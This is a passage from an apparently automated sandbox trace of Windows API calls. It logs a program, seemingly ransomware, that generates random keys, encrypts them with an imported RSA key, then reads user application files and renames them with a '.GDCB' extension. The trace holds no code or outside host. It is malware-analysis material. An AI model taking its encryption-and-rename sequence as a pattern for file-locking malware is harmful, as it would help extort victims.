CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67adb70) returned 1 [0300.784] CryptGetKeyParam (in: hKey=0x67adb70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0300.784] CryptEncrypt (in: hKey=0x67adb70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda30000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xda30000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0300.785] GetLastError () returned 0x0 [0300.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.785] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.788] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0300.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.794] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.794] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0300.794] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.794] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4980) returned 1 [0300.796] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.799] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0300.799] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0300.799] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.801] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adef0) returned 1 [0300.801] CryptGetKeyParam (in: hKey=0x67adef0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.801] CryptEncrypt (in: hKey=0x67adef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda40000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xda40000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0300.801] GetLastError () returned 0x0 [0300.801] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.801] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0300.803] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ada30) returned 1 [0300.803] CryptGetKeyParam (in: hKey=0x67ada30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.803] CryptEncrypt (in: hKey=0x67ada30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xda50000*, pdwDataLen=0x285e560*=0x100) returned 1 [0300.803] GetLastError () returned 0x0 [0300.803] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.803] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.805] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4980) returned 1 [0300.809] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.811] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.811] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0300.811] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0300.811] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0300.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.816] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.816] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0300.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.817] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.819] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adff0) returned 1 [0300.819] CryptGetKeyParam (in: hKey=0x67adff0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.819] CryptEncrypt (in: hKey=0x67adff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda60000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xda60000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0300.819] GetLastError () returned 0x0 [0300.819] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.819] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0300.821] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67addf0) returned 1 [0300.821] CryptGetKeyParam (in: hKey=0x67addf0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.821] CryptEncrypt (in: hKey=0x67addf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda70000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xda70000*, pdwDataLen=0x285e560*=0x100) returned 1 [0300.821] GetLastError () returned 0x0 [0300.821] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.821] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.823] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0300.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.830] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.830] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0300.830] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.830] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0300.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.835] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.835] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0300.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.835] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0300.837] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae070) returned 1 [0300.837] CryptGetKeyParam (in: hKey=0x67ae070, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.837] CryptEncrypt (in: hKey=0x67ae070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda80000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xda80000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0300.838] GetLastError () returned 0x0 [0300.838] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.838] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.840] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adc70) returned 1 [0300.840] CryptGetKeyParam (in: hKey=0x67adc70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.840] CryptEncrypt (in: hKey=0x67adc70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda90000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xda90000*, pdwDataLen=0x285e560*=0x100) returned 1 [0300.840] GetLastError () returned 0x0 [0300.840] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.840] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.969] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0300.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.975] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0300.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.975] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0300.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.980] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.980] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0300.980] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.981] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0300.983] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ade70) returned 1 [0300.983] CryptGetKeyParam (in: hKey=0x67ade70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0300.983] CryptEncrypt (in: hKey=0x67ade70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0300.983] GetLastError () returned 0x0 [0300.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.983] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0300.985] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67adcb0) returned 1 [0300.985] CryptGetKeyParam (in: hKey=0x67adcb0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0300.985] CryptEncrypt (in: hKey=0x67adcb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0300.985] GetLastError () returned 0x0 [0300.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.985] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0300.986] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdac0000 [0300.989] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdad0000 [0300.991] ReadFile (in: hFile=0x4fc, lpBuffer=0xdad0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdad0000*, lpNumberOfBytesRead=0x285e318*=0x4000, lpOverlapped=0x0) returned 1 [0301.007] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xdbe0000 [0301.013] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0301.360] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.367] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.367] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.367] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0301.369] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.372] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.372] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0301.375] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67adeb0) returned 1 [0301.375] CryptGetKeyParam (in: hKey=0x67adeb0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.375] CryptEncrypt (in: hKey=0x67adeb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.375] GetLastError () returned 0x0 [0301.375] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.375] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0301.377] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ae0b0) returned 1 [0301.377] CryptGetKeyParam (in: hKey=0x67ae0b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.377] CryptEncrypt (in: hKey=0x67ae0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.377] GetLastError () returned 0x0 [0301.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0301.377] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0301.378] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdac0000 [0301.381] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdad0000 [0301.383] ReadFile (in: hFile=0x4fc, lpBuffer=0xdad0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdad0000*, lpNumberOfBytesRead=0x285e318*=0x20210, lpOverlapped=0x0) returned 1 [0301.393] VirtualAlloc (lpAddress=0x0, dwSize=0x20210, flAllocationType=0x3000, flProtect=0x4) returned 0xdbe0000 [0301.402] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\microsoft.microsoftofficehub_17.4218.23751.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0301.425] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0301.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.430] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.430] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0301.430] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.431] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0301.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0301.438] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0301.438] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0301.438] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.438] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0301.441] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ad9f0) returned 1 [0301.441] CryptGetKeyParam (in: hKey=0x67ad9f0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.441] CryptEncrypt (in: hKey=0x67ad9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdaa0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0301.441] GetLastError () returned 0x0 [0301.441] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0301.441] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0301.443] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67addb0) returned 1 [0301.443] CryptGetKeyParam (in: hKey=0x67addb0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0301.443] CryptEncrypt (in: hKey=0x67addb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdab0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0301.443] GetLastError () returned 0x0 [0301.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0301.443] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\microsoft.microsoftsolitairecollection_3.1.6103.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0301.444] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdac0000 [0301.447] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdad0000 [0301.452] ReadFile (in: hFile=0x4fc, lpBuffer=0xdad0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 